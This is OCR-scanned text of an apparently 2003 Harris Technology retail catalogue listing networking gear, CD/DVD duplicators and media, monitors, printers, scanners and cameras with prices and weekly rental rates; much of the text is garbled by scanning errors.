VS318 Cable/DSL ProSafe firewall router, 8 VPN tunnels, 

X 10/100 switch (F0242) 

R114P Cable/DSL ProSafe firewall router, print server, 

X 10/100 switch (F0902) 

'R328S Cable/DSL ProSafe firewall router, serial port 
or automatic fail over, 8 x 10/100 switch (G6240) 

W114P Cable/DSL ProSafe Wireless router, 802.11b 
)oint, print server, 4 x 10/100 switch (F0904) 


1/Vireless Solutions 


IIVAG511 

54Mbps a/b/g tri band PC card 

I^AG103 

54Mbps a/b/g tri band Access Point 

WGR614 

54Mbps Cable/DSL Wireless Router 

WG602 

54Mbps wireless access point 

WG511 

54Mbps wireless PC card 


(H9135) 


11Mbps 802.11b wireless PC card 


(C8117) 


MA111 

11Mbps 802.11b USB adapter 

MR814 

11 Mbps 802.11 b Cable/DSL Router 

ME103 

11Mbps 802.11b Prosafe Wireless Access point (H9141) 


(H9137) 


(HI 735) 



ilETGEAR’s wireless products supports 54 Mbps 802.11g* and 802.11b as well as 802.11a ensur- 
ng the maximum freedom of movement, flexibility and maximum throughput yi^all situations. 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS.* HARRIS Torkinnlr, T +1 

Sales: 1300 13 9999 Web: www.ht.com.au ■ ^ ° 

Fax: 13 00 13 6666 Email: SaleS@ht.COm.au I Kmart Broadway-Sydney 
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CD/DVD Production 



CopyCat CD Duplicator 


The easiest way to automatically copy CDs 
Just put your master in the reader and the 
blank in the burner. 

No PC required - totally stand alone burn only. 




CopyCat (J2058)$465 


Primera Bravo Burn 
and Print 


Introducing the World’s 
first fully Integrated 
CD-R Burning and Printing 
Device. 


• 2400 dpi Printing 

• 48x CD-R or 4 X DVD drive 

• Windows 2000/XP Software 

• Fully integrated robotics 

• 25 disc capacity for 
unattended burning and printing 



Print only Rent* $27.97/wk (H0372)$2,81d 
48xCD-R Rent* $39.16/wk (G1708)$4,1 38 
4x DVD-R Rent* $47.71/wk (G1709)$5r17O 


Rimage Desktop 
Publishers 


Introducing the new and 
improved Desktop range of 
CD publishers from Rimage 


■ DTP1500 - 100 Disc Capacity 

• DTP4500 -120 Disc Capacity 

• 4800 dpi Liberty printer included 

• Network ready software included 



,DTP1500 ■ 1 CD-R Drive ^ 

Rent* $75.39/wk (J2064) $8r470 

1DTP1 500-2 CD-R Drives 

Rent* $78.90/wk (J2065) $ 9,410 

DTP4500-4 CD-R Drives ^ 

Rent* $99.18/wk (J2066)$1 2,235 



PrismPlus Thermal 
CD/DVD Printer 


I 


• 300 X 600 dpi 

• Mono or 3 colour 

• 2,100 mono prints per ribbon 

• Less than 10 secs per mono print. 



Rent* $59.23/wk (G3859) 


$ 6,419 


CopySmart Plus CD 
Towers 


The CopySmart Plus CD 
Towers make stand alone 
manual CD copying easy 
and affordable. 


• LCD status panel 

• Simple 4 button interface 

• CD backup at the touch of 1 
button 

• Support high speed CD-RW 
writing 



40x CD-R 3 Drives Rent* $17.43/wk (F1867) 

$ 1,555 

40x CD-R 7 Drives Rent* $30.85/wk (FI 349) 

$ 3,109 


CopySmart Plus DVD^ 
Towers 


The CopySmart Plus DVD 
Towers make stand alone 
manual DVD copying easy 
and affordable. 



4x DVD-R 3 Drives 

Rent* $36.57/wk (H0076) $ 3,685 

4x DVD-R 5 Drives 

Rent* $50.25/wk (H0079) $ 5,445 
4x DVD-R 7 Drives ^ e 

Rent* $64.22/wk (H0080) $ 7,215 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 
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fPrices are subject to change. Check here for latest prices & products!!) 


CD and DVD Media: Storage for Life 


DataLifePlus CD-R 


10 pack 

(G1680) $10 

80 min lx - 52x 
10 pack slim case 



Printable CD-R Media 


% 


In spindles of 50 inkjet 
printable 80 min 48x 

(G1742) $36 

Silver thermal printable 
80 min 48x 

(HI 073) $39 


DataLifePlus Spindles 



<z> 


DatalifePlus 
spindle 30 pack 48x 

(G5999) $22 


• 80 min DatalifePlus 
spindle 50 pack 52x 

$38 


(H9517) ; 


Digital Vinyl CD-R 



Designed to look like a vinyl record these 
eye-catching discs are a great way to 
save delicate LP collections or make a 
standout business presentation. 


Not all items are 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Deliveryt 

HARRIS 


TECHNOLOGY* 


Pocket Colours 8cm CD-R 
& CD-RW 

Mini CD’s that fit in your pocket! 

Store up to 3 hours of MP3's or up 
to 185i\/IB of pictures, files or any 
data you like. Compatible with any 
standard tray based CD player or 
burner. 

$7 




(G1731) 


4.7GB DVD-R 4x singles 
jewel case 

(HI479) $7 

DVD-R 2x inkjet printable 
20 pack spindle 

(F7683) $ 125 | 

Video case also available 


• CD-R: 21 min 185MB 5 pack 

• CD-RW: 21 min 185MB 5 pack 


(D9192) 

(H1471) 


$10 


DataLifePlus Colours CD-R 



80 min 700MB coloured 
CD-R’s in a 25 pack 48x 



4.7GB DVD-RW 2x 
singles jewel case 

(C8841) $9 


I) $28 


80 min 700MB coloured 
CD-R's in a 10 pack 48x 


i) $11 



DataLifePlus CD-RW 


• 700MB CD rewritable 
2x - 4x 5 pack colours 
(D9230) $8 



• 650MB 2x-4x ^ 

singles (77492) $2 

• 650MB 16x -24x ultra 

singles (G1741) 

• 650MB 4x -12x high speed 

5 pack (G6434) $9 


4.7GB DVD-hR 4x singles 
jewel case 

(HI 255) $8 
4.7GB DVD-HR2.4X inkjet 
printable 20 pack spindle 
(H0608) $ 12 $ 



4.7GB DVD-HRW2.4X 
singles jewel case 

(D9166) $9_ 


Verbatim DataLifePlus CD’s represent the latest in technology. Featuring a 
proprietary blue Super-Azo dye which has the best resistance to sunlight, silver 
V^eflective layer for optimum read and write perfomiance and multispeed recording. 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. | 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 










































New models out now! 


HARRIS 


FE99ISB 

■ 19” Flat CRT Monitor 

• Resolution 1792 x 1344 @ 68HZ 

■ Flat aperture grille 

■ SuperBright function 


Rent* $7.21/wk (G8754) 
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TECHNOLOGY™ 


(Trices are subject to change. Check here for latest prices & products!! 


Not all Items are 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery< 

HARRIS 

TECHNOLOGY™. 


NEC 


LCD3000 

• 29.5” Viewable Image Size 

• Resolution 1280 x 768 

• Multi Compatibility 

• Multi Screen Operations 

Rent* $62.30/wk 

(H8526) $6,999 


VT460 


• Compact 2.9 kg 

• 1500 ANSI lumens 

• "Eco-mode" extends your lamp life 
Rent* $27.24/wk (H0997) 


$2,745 


LCD 

I860NX 


V730 

17” CRT 
Monitor 
1280X1024 
(B7522) 

$239 

V930 

19” CRT 
Monitor 
1600 X 1200 
(C9739) 

$445 


• 15” LCD Monitor 

• Resolution 1024 x 768 

• Available in black or silver/beige 

eeaA 

Rent* $6.71/wk {G8753) 9999 
Silver/Beige 

Rent* $6.71/wk (G8864) 5599 


Monitor 

• Resolution 
1280X1024 

• Available in 
black or 

Black 

Rent* $17.30/wk 

(H3749) $1,544 
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SyncMaster 171N - 17" LCD Monitor 


• 17" TFT computer monitor 

• 1280 X 1024 max resolution 

• 16.2 million colours 

• Viewing Angle: (HA/) 140° /120° 

• 350:1 contrast ratio 

• Ultra slim bezel (13.5mm) 

• 3 year warranty 

Silver Rent* $11.08/wk (F9638) $989 

SyncMaster 172W - 17” LCD Monitor 

• 17" TFT computer monitor 

• 1280 X 768 Max Resolution 

• 16.2 million colours 

• 400:1 Contrast Ratio 

• Viewing Angle: (HA/) 140° /110° 

• Analogue / Digital Interface 

• 3 year warranty 

Rent* $14.89/wk (G9866) $1,329 

SyncMaster 191N - 19” LCD Monitor 


• 19” TFT Computer Monitor 

• 1280 X 1024 max resolution 

• 16.7 million colours 

• 170/170 viewing angle (H/V) 

• 500:1 contrast ratio 

• Ultra Slim Bezel (18.6mm) 

• 3 year warranty 

Rent* $17.92/wk (H1088) $1,599 


SyncMaster 151N -15” LCD Monitor 

• 15” TFT Computer Monitor 

• 1024 X 768 max resolution 

• 16.2 million colours 

• 140/120 viewing angle (H/V) 

• 330:1 contrast ratio 

• Ultra Slim Bezel (16.2mm) 

• Analogue Input 

• 3 year warranty 


Silver (J2170) SCall 



Not all Items are 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Del Ivery# 
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PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

Sales: 1300 13 9999 Web: www.ht.com.au 
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HITACHI 

Inspire the Next 


f Prices are subject to change. Check here for latest prices & products! 


Value for money & leading technology 


Not all items are 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery. 

HARRIS 


TECHNOLOGY™ 
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CML154XW 


Rent* $11.19/wk 


Rent* $7.83/wk (F4105)i 


$699 


Rent* $11.08/wk Black (G2014) i 


•15” TFT LCD Monitor 

• XGA 1024 X 768@75Hz 

• 250 cd/m^ Brightness 

• 350:1 Contrast 

• Built-in Speakers 

• VESA Mount 

• Plug and Play 

• Tilt Stand 


CML175SXW 

•17” TFT LCD Monitor 

• SXGA 1280 X 1024@75Hz 

• RGB + DVI-D inputs 

• Fast 16ms Display 

• 260 cd/m^Brightness 

• 400:1 Contrast 

• Built-in Speakers 

• VESA Mount 

• Plug and Play 

• Tilt Stand 


Rent* $7.95/wk Black (H0314) 


Ivory (H0317) CQOQ 
Black{H0318) 


CML200UXWB 

• 20” TFT LCD Monitor 

• UXGA 1600 X 1200@60Hz 

• RGB + DVI-D inputs 

• Fast 25ms Display 

• 250 cd/m2 

• 500:1 Contrast 

• Detachable Speakers 

• VESA Mount 

• Plug and Play 

• Tilt/swivel stand 
Rent* $37.36/wk (F8911) 


$ 3,949 


HARRIS 

TECHNOLOGY™ 








































MUVISUNG DIGIW 

fveryone's invite cJtm 



and innovation, no risk 



SAMSUNG 


ML 1510 


Meet the smallest one! 

Key features: 

•World smallest 14ppm mono laser 
•USB interface 

• Windows, Macintosh and Linux compatible 

• With Toner Save on Prints at under 2.7 cents per page 

• 2 year return-to-base warranty 


SAMSUNG 




[S^X 4216F 

The Laser print solution for everyone! 

Key features: 

• 16ppm mono laser multifunction 

• Copy, Fax, Scan and Print 

• USB interface 

•Windows, Macintosh and Linux compatible 

• With Toner Save on Prints at under 2.7 cents per page 

• 2 year return-to-base warranty 

Rent* $10.06/wk (J2137) $898 

[^X 5312 F 

An affordable solution to ail of your office 
requirements 

Key features: 

• 12ppm/cpm mono laser copier/multifunction (copy, 
print, fax and scan) 

• Duplex (double-sided) copying and printing 

• 600dpi colour scanning (mono printing and copying) 

• with Samsung’s Toner Save, costs less than 2.5 cents 
per page to print/copy 

•comes with.... 

DigitAllreassurance 
3 year on site warranty 

Rent* $18.87/wk (HI757) 


$ 1,684 


Fly Buys. 


r Extend to a 
total of 3 Years 
Return to Base 
r Extend to 
total of 5 Years 
Return to Base 
r Upgrade 
Return to Base 
of Warranty 
Extension to 
On-Site 













































Canon 

advanced simplicity 


Not all Items are 
In stock at all 
stores but can be 
ordered for Pick¬ 
up or Deliveryt 



new digital 


Canon 

T^werShot A 300 





Compact and stylish 3.2 
Megapixel digital cameras with 
Canon 5x digital zoom lens. 

• 12 shooting modes, from 
complete control to full 
automatic mode allowing 
manual selection 

of aperture and shutter speeds. 

• Movie recording and playback 
with sound - 640 x 480(L) and 
320 X 240 (M) 

(J2466) $495 


TBiverSi^ot A 70 

D I G I T A 



GITAL CAMERA 


• Compact and stylish 3.2 
Megapixel digital cameras with 
Canon 3x optical zoom lens. 

• 12 shooting modes, from 
complete control to full automatic 
mode allowing manual selection 
of aperture and shutter speeds. 

• Movie recording and playback 
with sound - 640 x 480 (A70) 
and 320 x 240 (A60). 


Rent*$6.66/wk 

(H2209) 

$595 


Rent* $7.56/wk {H2206) 


$675 


iRent*$10.03/wk 

(J2473) 

$895 


DIGITA.L 

IXUS400 





Canon 3x zoom lens (35mm 
equivalent: 36-108mm) f/2.8-4.9 
with smooth 3.6x digital zoom. 
DIGIC Digital Imaging Processor 
combines camera controls and 
image signal processing to 
deliver superior digital pictures. 



Rent*$11.15/wk (H2207) 


$995 


Canon 

"^werShot S50 



5 Megapixel 1/1.8" CCD image 
2592 X 1944 pixels. 

High resolution Canon 3x f/2.8-4.9 
aspherical zoom lens 
Selectable 9 point AiAF, 

9 position white balance 
Manual and automatic shooting 


Rent* $15.41/wk (H2210) 


$1,375 



Iide20 flatbed s 


■ One touch scan, copy and email. 

■ USB interface. 

■ 600 X 1200 dpi. 

■ 48-bit input. 

’ 24-bit output. 


)$145 




CanoScan 50DD F 

• Film scanning 

• 1200 X 2400 dpi optical resolution 
with 48-bit input bit depth. 

• Advanced Z-Lid keeps books and 
other bound documents flat on the 
scanner for evenly lit scans. 

• Fast scanning thanks to the USB 2.0 
Hi-Speed interface. 

(H2228) $285 



n640pex 

Iide30 

lideSO 

CSSOOOf 

CSSOOOf 

CS9900f 

600dpi 

1200dpi 

1200dpi 

2400dpi 

2400dpi 

3200dpi 




film scanning 

film scanning 

film scanning 





Rent* $6.33/wk 

Rent* $8.51/wk 

(D4026) $129 

(H222g) $209 

(H2230) $235 

(G4633) $379 

(G5524) $565 

(H2231) $759 


HARRIS 


TECHNOLOGY™ 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

HSiPI ■■|||^■~ FINANCE METHODS I 

































































Nation 

dvanced simplicity 


("Prices are subject to change. Check here for latest prices & products!!) 






Canon 

advanced simplicity 


multifunction devices. 


Laser Shot LBP-2 410 

Colour Laser Printer 





• 16ppm mono, 4ppm colour 

• Zero warm up time 

• Fastest first page to print 
/ • No extra RAM required 

Optional network printing 
USB 2.0 high speed 
connectivity for fast data 
transfer 

Rent* $19.59/wk 

(J2427) $1,748 




imageCLASS MP 700 





• Direct Memory card printing, 

• 3-in-1 flatbed. 

• Print, copy, scan, memory card 
printing. 

• Up to 22 pages per min (mono). 

> Up to 14 pages per min (colour). 

• 2400 X 1200 dpi scanning 
resolution. Rent* $6.71/wk 


(J2415) 


$599 


imageCLASi 
m p c 190 
Printer, 
scanner, 
copier 


(H2216) $365 


Print, copy, sc 
memory card 
printing, 

(G4582) $399 


Canon 

advanced simplicity 


new printers. 


•If 


s200spx bubble jet pri 

• Up to 2880 X 720 dpi 


’ • Cost-saving permanent print 

(H2211) head technology. 

$109 _ 



1320 bubble jet printer 

• Up to lOppm black. 

• Up to 7pmm colour. 

• Up to 2400 X 1200dpi 

(045841 

Borderless 6" x 4“ photo 
5139 prints. _ 


1450 bubble 


jet pri 


• Print up to 18ppm in B&W 

• 4800x1200dpi print resolution 

• 2 picolitre ink drops 
Borderless photo prints up to 

(J2418) A4size 

$229 



1550 bubble jet printer 

• Up to 18ppm black. 

• Up to 11 ppm colour, 

• Up to 4800 x 1200 dpi. 
(H2217). Individual ink tanks for low 

$335 running costs. 



1850 bubble jet printer 

• Up to 22 ppm in black & 
white, 14 ppm in colour. 

‘ Economical individual ink 
fH22181 ^®riks. 

• High resolution 4800 x 1200 
dpi printing. 



70 bubble jet printer 

• Up to 13ppm print. 

• 4800 X 1200 dpi resolution. 

• Direct printing from compatible 
fHPPiQt Canon digital cameras. 

C ‘ ^ Wireless Infrared 

interfaces. 


s330 bubbli 


Jf 


(02318) 

$169 


jet printer 
Up to 14ppm black 
and lOppm colour printing. 

Full bleed photo print. 

Up to 2400 X 1200dpi resolution. 
Colour lasts up to 25 years 
using Canon’s photo paper pro. 


i (J2419) 

$399 


ibble jet printer 

' 4800x1200 dpi print resolution 
• 2 picolitre ink drops 
' Camera direct and memory 
card direct printing 
- Borderless photo prints up to A4 



(J2420) 

$599 


jbble jet printer 

■ Print speeds up to 12ppm in B 
' 2400x1200 dpi print resolution 
' 5 picolitre ink drops 
' Up to A3+ size printing - 
329x483mm 




Rent*$13.43r 
wk (J2421)‘ 

$ 1 , 199 . 


ibble jet printer 

A3 photo prints in around 2 
minutes 

4800x1200 dpi printing 
Borderless photo prinitng up to 
A3+ size - 329x483mm 
6 ink system 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS.! 

Sales: 1300 13 9999 Web: www.ht.com.au I 
Fax: 1300 13 6666 Email: sales@ht.com.au | 


m 


Not all items ate | 
in stock at ail 
stores but can be I 
ordered for Pick- I 
up or Delivery, j 


r Extend to a 
total of 3 Years L 
Return to Base | 
r Extend to a 
total of 5 Years I 
Return to Base | 
r Upgrade 
Return to Base | 
of Warranty 
Extension to 
On-Site 


Delivery 
Australia-Wide 























































("Prices are subject to change. Check here for latest prices & products! 


hp d eskj ets & officejets & PSC 


Not all items are | 
In stock at all 
■j- stores but can be ■ 
T ordered for Pick- | 
up or Delivery. 


HARRIS 

I TECHNOLOGY™ I 


hire 

needs 


* equipment is I 
; in-stock and | 

• ready for 


[hp scanjet 3570C 


hp PSC 1210 


Qll-in-one 


For all 
your 
short 
term 

computer I 


I HP’s Photo-Quality 
I Dual Sensor CCD 
I Technology 
I Scanner with HP 
I Memories Disc 
I Creator 
I Software 



• 48bit colour • USB • Scan 35mm negatives and slides 
j with built-in adapter • 10-2000% scaling in 1% 

increments • Windows 98, 2000, Me, XP; Pll, Celeron or 
compatible • Photo quality results for everything you scan 

• Easy one-touch scanning, copying and emailing. 


(F4313) 


$269 


print/scan/copier 

• Up to 4800-optimised 
dpil in colour 

• hp photoREt 3 colour 
layering technology 

• Up to 600 X 600 dpi in 
black. • Up to 600 x 2400 
dpi optical resolution (up 
to 19,200 dpi enhanced) • up to 
36-bit colour • 8-bit greyscale 
(256 levels of grey) • flatbed scanner enables easy 
scanning and copying of photos, documents and books. 

• Copy speed: black up to 12 cpm, colour: up to 10 cpm 
black text up to 600 x 1200 dpi colour copy resolution: up 
to 1200 X 1200 dpi on 

hp colourfast photo paper. ^ 

(H9162) 9 199 


[hp PSC 2110 


hp PSC 2210 


print/scan/copier 

• Up to 4800-optimized dpi 
in colour or optional six- 
I ink colour • Duty Cycle : 

3,000 • Print Resolution, ^ 

Black : 1200x 1200 dpi- 
Print Resolution, Colour: 

1200 x 1200 dpi, up to 
4800-optimized dpi using ^ 

HP Premium Photo Paper • _ 

Scan Resolution, Optical: 600 x 1200 

dpi • Colour Text and Graphics: up to 1200 x 1200 dpi on 

hp Premium Photo Paper • Fax Resolution, 

Best 300 X 300 dpi 



print/scan/copier 

• Up to 4800-optimized dpi 
in colour or optional six- ^ 
ink colour • digital camera 
memory card slots and 
easy to navigate control- 
panel buttons and proof 
sheet • Duty Cycle : 3,000 

• Print Resolution, Black : 

1200 X 1200 dpi • Print Resolution, 

Colour: 1200 x 1200 dpi, up to 4800-optimized dpi using 
HP Premium Photo Paper • Scan Resolution, Optical: 1200 x 
2400 dpi • Colour Text and Graphics: up to 1200 x 1200 dpi 
on hp Premium Photo Paper • Fax Resolution, 



$299. 


Best 300 X 300 dpi 


,$499 


I r Extend to a 
total of 3 Years I 
Return to Base | 
r Extend to a 
total of 5 Years I 
Return to Base | 
I r Upgrade 

Return to Base | 
of Warranty 
Extension to 


[hp officejet 5110 




• Up to 4800-dpi colour is 
I ideal for high resolution 
I images and 600x600 
I dpi black text printing 
I and copying • Prints 
I up to 12ppm in black 
I and lOppm in colour 

• Copies at 12cpm 
I (black) and 8cpm 
I (colour) • faxes 3 
I seconds per page 
1-150 sheet capacity input tray, 50 
I sheet output tray - 20 pages automatic document feeder 

- USB connectivity. 

,$399 



(H0634) ■ 


hp officejet 6110 


Professional Colour Communication 

- Up to 19ppm in black and 
15ppm in colour (up to 
14cpm for colour 
copying) - Versatile 
flatbed and high 
scanning resolution 
using hp’s unique CCD 
technology 
(600x1200dpi, 48 bit 
colour) - photoREt 3 colour 
layering technology 

- 4x6 borderless photos - 3.6kbps built in modem, faxes 
seconds per page - 100 sheet capacity input tray, 50 
sheet output tray - USB connectivity. 



Rent* $7.16/wk (H0635) 


$639. 


HARRIS 


TECHNOLOGY™ 


PRICING A ND SPEC IF ICATIONS MAY CHA N GE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

■1 H ^ i|S B] 





































PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS.! HARRIS Torhnoinnu ron+rol 

Sales: 1300 13 9999 Web: www.ht.com.au | ^ ■ 

Fax: 1300 13 6666 Email: sales@ht.COm.au I at Kmart Broadway-Sydney 





























RENT 



f Prices are subject to change. Check here for latest prices & products! 



hp LaserJet Printers 





There has never been a better time to move up to a new HP LaserJet printer. With the iatest technoiogy at your fingertips, 
increased office productivity and iower operating cost, this investment wiii pay for itseif in no time! Trade in that oid HP 
LaserJet or even another printer brand that’s coliecting dust in the corner, and we’li give you a great trade in rebate for it. 
Aii you have to do is purchase a new HP LaserJet series printer* then fiii out and return the ciaim form. HP wiii even 
coliect your old printer for free. It’s that easy! 

For example, buy an HP LaserJet 2300 or HP color LaserJet 2500 printer and receive a refund of $325 for a trade in of 
any HP LaserJet printer or $275 for a trade in of any other manufacturer's laser or solid ink printer. That’s right, HP is 
rewarding customer loyalty. 

Visit http://www.hp.com.au/tradeup for more details and terms and conditions 

(* N/A on the HP LaserJet 1000, 1200, 3200, 3300 series.) Returned printers must be laser or solid ink printers 
working condition. The trade in offer ends on 30 June 2003. New printers must be purchased and delivered by that date. 


J 


HARRIS 

TECHNOLOGY™ 


hp LaserJet 1300 Series 


• 19ppm with 133MHz 
Motorola Coldfire 
processor • 1200 x 
1200dpi print quality • 16MB 
RAM up to 80MB max • hp 
PCL 5e, 6 & Postscript 
2 emulation • 250 sheet 
input tray *10,000 page 
duty cycle. 


hp LaserJet 1300 


Rent* $9.10/wk (H9826) $812 

hp LaserJet 1 SOON 

Rent* $14.16/wk (H9827) 


hp colour LaserJet 1500 Series 


hp LaserJet 2300 Series 


• 24ppm, up to 8ppm duplex 

• 1200 X 1200dpi print quality 
•32MB RAM up to 288MB 
max*hp PCL5e, hp PCL 6, 

PostScript 3™ & automatic 
language switching • up to 
850 sheet input tray • 50,000 
page duty cycle. 

hp LaserJet 2300 

Rent* q) I o. / o/WR ^^»ozo ) 

hp LaserJet 2300D 

Rent* $18.02/wk (H9829) 

hp LaserJet 2300N 

Rent* $21.57/wk (H9830) 

hp LaserJet 2300DN 

Rent* $23.75/wk (H9831) 

hp LaserJet 2300DTN 

Rent* $26.84/wk (H9832) 


$1,608 

$1,92$ 

$2,119 

$2,70$ 


hp LaserJet 4300 Series 


• 16ppm black, 4ppm colour 

• Quiet operation 

• 125 sheet multi-murpose tray 
& 250 sheet cassette • 125 
sheet face down output (250 
& 500 sheet paper trays 
available) 

• straight through paper slot 
for thick media • ImageREt 
2400 

• 16MB RAM 


hp LaserJet 1500L (Lite Version) 
Rent* $19.42/wk (J2056) 
hp LaserJet 1500 (Base Unit) 

$22.56/wk (J2057) 


$1,733 

$2,274 


r 


• A4 size 43ppm 

• 1200 dpi print quality 

• 64MB RAM 

• 350MHz processor 

• two optional ElO interface slots 

• 500 sheet input tray 
(media capacity 600 sheets) 

• 50 sheet face up output tray 

• 250 sheet face down output tray 

• 100 sheet multipurpose input tray. 

hp LaserJet 4300 

Rent* $25.89/wk (G4258) $2 

hp LaserJet 4300N 

Rent* $32.91/wk (G4259) $3 

hp LaserJet 4300TN 

Rent* $37.44/wk (G4260) $3 

hp LaserJet 4300DTN 

Rent* $4Q.51,Ayt(G4261,) jfr, 


,316 


282 


hp TradeUp Program 




































JN~DA 


fPrices are subject to change. Check here for latest prices & products!!) 


QMS 


Th e future in imag ing 



Magicolor 2300 DeskLaser 

The InkJet Killer 

A colour laser printer under $2,000 without the killer inkjet running costs. 


Rent* $20.90/wk (F7927) 


$1,865 


Print Speed j Up to 4ppm colour A4, 16pprTi mono 
Resolution 2400 x 600dpi _ 

Interface _ ; Eth ernet (1 0/ 100BaseTX); USB 1.1; Parralle l; c 


Compatibility | Windows 95/98/2000/NT/XP 


Best^^Octobe^^^^^^^^se^jagazine^ 


PagePro1200W 

Desktop Monochrome Printing 

To break away from the pack and take the lead, you need office equipment that 
enables you to do more with fewer resources. With a 3 year exchange 
warranty that includes the drum, the PagePro 1200W has amazing printing 
efficiency. _ $389 


(F9324) 3 


Print Speed 

Up to 12ppm 

Resolution 

1200 X 1200dpi 

Interface 

USB 1.1; IEEE 1284 Parallel 

Compatibility 

Windows 95/98/2000/NT/XP 


PagePro1250W 

Desktop Monochrome Printing 

If your looking for a personal laser printer that allows you to print high quality 
documents quickly and easily at your desk, look no further than the PagePro 
1250W from Minolta-QMS. It comes standard with a 3 year warranty that covers 
the drum, making it a very cost effective printing solution. ^ 

(J2293) 


Print Soeed 

Up to 16ppm A4 

Resolution 

1200 X 1200dpi 

Interface 

USB 1.1; IEEE 1284 Parallel 

Compatibility 

Windows 95/98/ME/NT4.0/2000/XP 


PagePro 91OON 

Networkable A4 & A3 monochrome laser printer 

The PagePro 91 OON represents the best value in A3 network printing! Even with print 
speeds of 35 pages per minute and free Ethernet interface, its price matches what 
you’d expect to pay for smaller, slower laser printers. 


Rent* $27.84/wk (E3659) 


$2,805 


Print Speed 

35ppm A4, 19ppm A3, mono 

Resolution 

1200 X 1200dpi 

Interface 

USB 1.1; IEEE 1284 Parallel; 10/100BaseTX Ethernet 

Compatibility 

PostScript 3, PCL 6, PDF, HP-GL, PCL 5e 


in stock at all 
!■] stores but can be 
j ordered for Pick- 
] up or Delivery, 


Collect Fly Buys 
points on your 
computer 


I The figures 
quoted are 
d on a 
per week 
I basis over 3 
1 years. TAP, 
Terms & 
Conditions 
apply. 


r Extend to a 
total of 3 Years 
Return to Base 
r Extend to a 
total of 5 Years 
Return to Base 


r Upgrade 
Return to Base 
of Warranty 
Extension to 


% 1 , ^ 



PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DEI 

Sales: 1300 13 9999 Web: www.ht.com. 
Fax: 1300 13 6666 Email: saies@ht.com.au 






























































































■■ Ik ■ ("Prices are subject to 

zPoON mm 


("Prices are subject to change. Check here for latest prices & products!!^ 




eate 


• 4 picolitn 

11 ^ ^ 

tm 


EPSON STYLUS PHOTO 915 

5760 optimised dpi using RPM technology 
picolitre Micro Dots, for extremely fine print detail 
' EPSON Intellidge ink system • True Border- 
free edge-to-edge printing on cut sheet or roll 
paper • Roll paper holder included • Over 25 
years lightfastness using EPSON ColorLife 
paper • Direct printing via camera card 
• Optional LCD Preview Monitor. 

_ (G3333) $449 



EPSON STYLUS C61 


Crisp text, vibrant colours coupled with 
speed and reliability • Up to 14ppm 
black text A4 (memo) printing • 5760 x 
720 optimised dpi using RPM 
technology • USB and Parallel enabled. 


(F8180) 


$179 


EPSON STYLUS PHOTO2100 


• Up to 2880 X 1440 dpi • 7 colour individual ink system with a 
w light black and either photo or matte black 
• A3+ • Epson Intellidge ink system • True 
Border-free printing • Roll paper printer and 
auto cutter • 75yrs lightfastness • Up to 
1.3mm thick media support. 



Rent* $20.05/wk (F2969) 


$1,789 


Mono Laser Printer EPL 6100 



• Fast 16ppm print engine • True 1200dpi for 
superior print qualityl • Powerful, 200MHz 
64-bit RISC CPU!- Class leading durability 
- 15,000 pages per month duty cycle 
• 6,000 page toner cartridges 
• Superb paper handling. 250 sheet paper 


input. Network capable. 


Rent* $8.49 /wk (F3399) 


$736 



RFECTION 3200 Scanner , 


3200 X 6400dpi optical resolution • 48-bit colour depth 
• Optical Density: 3.4 Dmax • USB2.0 and IEEE1394 
(Firewire) interfaces • Lid type film adapter with 4x9" 
scanning area. Scan up to two film strips of up to six 
35mm frames (total of 12 frames) • Adobe 
Photoshop Elements and LaserSoft SilverFast SE6 
bundled • 1 year warranty 


ordered for Pick¬ 
up or Delivery! 

HARRIS 


Rent* $9.31/wk (H8527) 


$829 


EPSON STYLUS PHOTO 830U 


(C9764) S45| 


6-colour ink system • Up to 14ppm black text printing (C9765) $38 1 
' A4 economy • 5760 optimised dpi using RPM 
technology for true photo quality • MicroPiezo 
technology • Incredible fine 4 picolitre ink 
droplets • True Border-free printing • 2 x USB 
interface • Photo Quicker 3.4 • Over 25years 


(96455) S35l 


Black 

870,890,895, 

1270,1290 


0 $289 (A0630) SSSI 


EPSON STYLUS PHOTO1290S 



A3-I- • 6 colour photo printing • Border-free edge-to-edge 
printing • Max res 2880 x 720dpi with variable sized 
droplet technology • Over 25 years lightfastness prints 
• Features print image matching technology 
On demand inkjet (piezoelectric) • Black text 
9.4ppm (economy) • Text & photo 3.0ppm 
(normal) • Full page colour 1.3ppm (normal). 


C41UXSX 

(F7743) $21 1 
Colour 
C41UX/SX 

(F7742) $34 i 




Rent* $11.08/wk (G4593) 


$989 


Colour Laser Printer AL C900 



The AcuLaser C900 is perfect for printing a 
wide range of professional office documents 
such as in house stationary, brochures, direct 
mail and flyers, customer and internal 
newsletters, web prints, business reports and 
submissions. • printing up to 2400 dpi 
• 16ppm black* 4ppm colour 


Rent* $21.61/wk (G8809) 


$1,928 ^ 


Multifunction Printer Home CX3100 Multifunction Printer Office CX 5100 





Printing - colour printing up to 5760 Optimised 
DPI up to 14ppm (black-and-white economy 
mode) • Standalone - full colour copier 
capabilities • Scanning - 48-bit colour depth 
(internal) scanning • Faxing - Using your 
existing PC and modem take full advantage 
of your existing fax software. 


7) $360 



Printing - colour printing up to 5760 Optimised 
DPI • up to 22pm A4, black-and-white 
economy mode • Standalone - full colour 
copier • Scanning - 48-bit colour depth • 
Faxing -Using your existing PC and 
modem take full advantage of your existing 
fax software. 


3 ^ 


Rent* $6.16 /wk (H0780) $550 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

